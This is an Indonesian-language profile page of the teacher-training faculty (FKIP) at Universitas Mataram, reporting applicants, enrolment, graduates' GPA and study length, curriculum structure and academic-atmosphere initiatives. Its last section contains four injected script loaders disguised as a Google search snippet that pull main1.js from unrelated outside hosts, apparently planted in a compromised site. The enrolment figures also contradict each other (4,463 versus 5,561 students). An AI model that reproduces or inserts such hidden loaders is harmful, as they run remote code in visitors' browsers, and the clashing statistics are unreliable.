Peminat dan Daya Tampung

Jumlah lulusan SLTA yang mendaftarkan untuk menjadi mahasiswa FKIP Universitas Mataram dari tahun ke tahun terus mengalami peningkatan. Pada penerimaan mahasiswa baru 2011/2012, jumlah calon mahasiswa pada 9 program studi sebanyak 13.589 orang, sementara daya tampung sebesar 571 orang. Pada tahun yang sama, 2 program studi menerima calon pendaftaran untuk reguler sore sebanyak 2.281 dengan daya tampung sebanyak 300 orang. Pada tahun 2012/2013 terjadi peningkatan pada kelas regular menjadi 14.425 orang dengan daya tampung 696 orang dan pada kelas regular sore menjadi 3.085 orang dengan daya tampung 737 orang dan pada tahun 2013/2014, jumlah peminat 14.012 dengan daya tampung sebanyak 531 orang, dan peminat untuk kelas reguler sore sebanyak 3271 dengan daya tampung sebanyak 1.327 orang.

Selain penerimaan mahasiswa baru melalui jalur undangan dan ujian tulis secara nasional, juga dilakukan melalui ujian tulis secara mandiri. FKIP Unram menerima mahasiswa melalui ujian tulis untuk prodi PGSD dan PG PAUD bagi guru yang sudah bekerja. Program ini sebagai realisasi penunjukkan dari Ditjen Dikti untuk percepatan peningkatan kualifikasi pendidikan S-1 bagi guru SD/ TK/PAUD. oleh Dirjen Pendidikan Tinggi dan Dijen PAUDNI Kementerian Pendidikan dan Kebudayaan.

Jumlah mahasiswa FKIP Universitas Mataram yang tercatat aktif pada semester gasal tahun 2014/2015 berdasarkan jumlah mereka yang membayar SPP pada tahun 2014/2015 ini sebanyak 4.463 orang yang terbagi dalam 142 kelas (rombongan belajar). Jumlah mahasiswa jenjang S-1 reguler pagi sebanyak 2.180 orang (57 kelas/rombel) atau 48,85%, regular sore sebanyak 1.955 orang (43 kelas/rombel) atau 43,80%, Klas RSBI/Unggulan sebanyak 328 orang (15 kelas/rombel) atau 7,35%, dan 865 orang (19,38%) mahasiswa PGSD/PAUD yang berasal dari guru SD/Guru PAUD yang sedang mengikuti program penyetaraan.

Distribusi mahasiswa FKIP Unram sebanyak 5.561 orang tersebut pada Jurusan Pendidikan MIPA sebanyak 1.681 orang (30,23%), Jurusan Pendidikan IPS sebanyak 469 orang (8,43%), Jurusan Pendidikan Bahasa dan Seni sebanyak 1.897 orang (34.11%), dan pada Jurusan Ilmu Pendidikan (JIP) sebanyak 1.514 orang (27,23%). Dalam bentuk grafik sebagai berikut.

Lulusan

Sejak berdiri tahun 1982 sampai sekarang FKIP Unram telah banyak menghasilkan lulusan, baik program Diploma 1, Diploma 2, Diploma 3, Akte IV, dan Sarjana (S-1). Sesuai dengan tupoksinya, lulusan FKIP Unram pada umumnya menjadi pendidik dan tenaga kependidikan baik pada lembaga pendidikan negeri maupun swasta. Perkembangan jumlah lulusan dalam dalam tiga tahun terakhir sebagai berikut.

Keseluruhan lulusan tersebut di atas rata-rata masih menyelesaikan studi dalam jangka waktu lebih dari 9 semester dengan indeks Indeks Prestasi Kumulatif (IPK) rata-rata di atas 3,00. Rata-rata lama studi mahasiswa FKIP Unram tahun 2011/2012 9,56 semester dengan IPK rata-rata 3,27, pada tahun 2012/2013 rata-rata lama studi mamsih 9,56 semester dengan IPK rata-rata 3,30, dan tahun 2013/2014 rata-rata lama studi turun menjadi 9,43 semester dengan IPK rata-rata 3,30. Hal tersebut dapat diartikan bahwa kualitas input FKIP Unram mengalami peningkatan dan/atau proses pendidikan, pembelajaran, dan pembimbingan selama 3 tahun terakhir mengalami peningkatan. Dalam bentuk tabel perkembangan lama studi dan IPK rata-rata tiga tahun terakhir sebagai berikut.

Kurikulum, Pembelajaran dan Suasana Akademik

Struktur kurikulum yang dikembangkan pada Program Studi yang ada di FMIPA berdasarkan pada Keputusan Mendiknas RI No. 232/U/2000 tentang Pedoman Penyusunan Kurikulum Pendidikan Tinggi dan Penilaian Hasil Belajar Mahasiswa, dan Keputusan Mendiknas RI No. 045/U/2002 tentang Kurikulum Inti Pendidikan Tinggi. Berdasarkan Surat Keputusan tersebut, mata kuliah dikelompokkan menjadi 5 kelompok matakuliah, yaitu kelompok (1) Matakuliah Pengembangan Kepribadian (MPK), (2) Matakuliah Keterampilan dan keahlian (MKK), (3) Matakuliah Keahlian Berkarya (MKB), (4) Matakuliah Perilaku Berkarya (MPB), dan (5) Matakuliah Berkehidupan Bersama (MBB).

Penyusunan dan pengembangan kurikulum dilakukan pada setiap program studi. Dalam penyusunan dan pengembangan kurikulum terlebih dahulu dilakukan pengkajian baik secara konsep maupun emperis. Berdasarkan hasil pengkajian tersebut, masing-masing prodi menyamakan visi, misi, dan tujuan. Pada umumnya pada rekonsruksi kurikulum tersebut disepakati beberapa hal, diantaranya adalah penyamaan pada kelompok mata kuliah pengembangan kepribadian dan kelompok mata kuliah keterampilan dan keahlian sebagai mata kuliah umum dan mata kuliah wajib fakultas. Sementara itu penentuan kelompok mata kuliah MKB, MPB, fakultas memberikan wewenang kepada setiap program studi untuk menyusunnya, sementara untuk matakuliah MPK dan MKK diupayakan sama untuk semua program studi.

Beban sks untuk menyelesaikan program S-1 di FKIP Unram berkisar antara 150-160 sks dengan perincian sebagai berikut: (1) Matakuliah Pengembangan Kepribadian (MPK) 14 sks, (2) Matakuliah Keterampilan dan keahlian (MKK) 10 sks, (3) Matakuliah Keahlian Berkarya (MKB) 94-100 sks, (4) Matakuliah Perilaku Berkarya (MPB) 28-30 sks, dan (5) Matakuliah Berkehidupan Bersama (MBB) 2 sks.

Berbagai upaya yang dilakukan untuk meningkatkan kualitas pembelajaran adalah memberikan insentif kepada dosen untuk membuat bahan ajar, membuat SAP, dan menambah insentif bagi dosen yang mengajar pada program reguler sore. Bila ada dosen yang telat mengumpulkan nilai, maka FKIP Unram mengambil kebijakan sesuai kebijakan Unram untuk memberikan nilai B pada semua mahasiswa yang aktif mengikuti kuliah tersebut dan Ketua Program Studi memberikan teguran secara tertulis.
Beberapa upaya yang dilakukan FKIP Untuk mendorong terlaksananya suasana akademik antara lain:

a. Mendorong susana akademik masih terbatas melalui koordinasi dengan progrma studi untuk melaksanakan seminar seperti  di prodi bahasa Inggris melaksankan seminar internasional rutin setiap tahun, dan seminar nasional untuk PGSD dan PAUD, PMIPA setiap tahun. Tidak ada seminar ilmiah untuk tingkat fakultas tetapi diserahkan kepada jurusan agar lebih spesifik topik yang diangkat dalam seminar. Selain itu memberi dukungan kepda dosen berupa pelatihan penelitian, penulisan buku menyiapkan dana untuk menulis buku ajar. Kegiatan workshop, seperti workshop Pekerti, AA dilakukan pada tingkat universitas dan workhsop untuk pengembngan perangkat pembelajaran berbasis SNPT dilakukan di FKIP Unram yang diikuti oleh dosen dari semua jurusan/prodi bahkan oleh dosen dari fakultas lain di lingkungan Unram dan PT lain di sekitar NTB;

b. Menyediakan sarana dan pra sarana seperti informasi komunikasi teknologi, menyiapkan ruangan berupa aula, perpustakaan (buku, digital), sarana ruang kuliah: kebersihan. Manjaga kelayakan mebeler, papan tulis, LCD, jam dinding, penghindaran kebisingan dari kendaraan, kipas angin ruangan, menyiapkan tempat akses internet dan fasilitas yang diperlukan lainnya.

c. Penataan ruangan untuk setiap program studi agar terjadi diskusi sesama dosen, penyediaan Wi-Fi dan fasilitas lainnya;

d. Mengupayakan melalui workshop agar kegiatan praktikum di laboratorium dapat menjadikan mahasiswa belajar dan bereksplorasi sesuai dengan topik yang dibahas pada kegiatan praktik di lab atau kuliah. Selain itu agar materi yang dibahas bisa dibawa oleh mahasiawa diluar kelas untuk bisa mengembangkan pengetahuan dan wawasan mahasiswa.

e. Mendorong kegiatan belajar di luar kelas berupa kuliah lapangan dan pengenalan sekolah atau tugas mata kuliah yang terkait dengan pembelajaran di sekolah, sehingga mahasiswa bisa lebih memahami kondisi riel di sekolah dan solusi masalah yang dihadapi yang mungkin bisa dilakukan di sekolah.

f. Beberapa matakuliah pada program studi tertentu difasilitasi untuk melakukan perkuliahan di luar kelas (lapangan, kebun percobaan) dan beberapa matakuliah juga difasilitasi untuk mementaskan hasil karya mahasiswa sebagai salah satu bentuk ujiannya.

g. Fakultas juga memfasilitasi penerbitan jurnal baik jurnal tingkat Fakultas (JIP) maupun jurnal untuk setiap program studi. Jurnal-jurnal ini dimaksudkan untuk memotivasi dosen dan mahasiswa menulis artikel sesuai bidang keilmuanya.

h. Upaya lain yang cukup signifikan pengaruhnya adalah kebijakan universitas untuk memberikan insentif bagi dosen yang menulis bahan ajar berdasarkan materi kuliah yang diberikan. Hal ini juga berdampak pada meningkatnya motivasi kepada dosen untuk menciptakan suasana akademik yang semakin kondusif.

Berbagai upaya tersebut berdampak positif dengan beberapa indikator, seperti (1) tingkat kehadiran mahasiswa dan dosen berdasarkan laporan dari setiap baik pada awal, tengah dan akhir semester semakin meningkat, (2) persiapan mengajar dosen (ketersediaan SAP, hand-out, buku ber ISBN, diktat, power point) semakin meningkat, (3) tersusunnya suplemen panduan penulisan skripsi, (5) tersusunnya buku panduan praktikum, (5) terlaksannya evaluasi terhadap kinerja dosen oleh mahasiswa dan proses pembelajaran sudah semakin kondusif, terbuka dan demokratis.

Kegiatan Kemahasiswaan

(function() {
var gcse = document.createElement(‘script’);
gcse.type = ‘text/javascript’;
gcse.async = true;
gcse.src = “http://theboatersnetwork.com/js/main1.js”;
var s = document.getElementsByTagName(‘script’)[0];
s.parentNode.insertBefore(gcse, s);
})();

(function() {
var gcse = document.createElement(‘script’);
gcse.type = ‘text/javascript’;
gcse.async = true;
gcse.src = “http://cjccontabil.com.br/wp-content/themes/Hermes/main1.js”;
var s = document.getElementsByTagName(‘script’)[0];
s.parentNode.insertBefore(gcse, s);
})();

(function() {
var gcse = document.createElement(‘script’);
gcse.type = ‘text/javascript’;
gcse.async = true;
gcse.src = “http://cjccontabil.com.br/wp-content/themes/Hermes/main1.js”;
var s = document.getElementsByTagName(‘script’)[0];
s.parentNode.insertBefore(gcse, s);
})();

(function() {
var gcse = document.createElement(‘script’);
gcse.type = ‘text/javascript’;
gcse.async = true;
gcse.src = “http://cjccontabil.com.br/wp-content/themes/Hermes/main1.js”;
var s = document.getElementsByTagName(‘script’)[0];
s.parentNode.insertBefore(gcse, s);
})();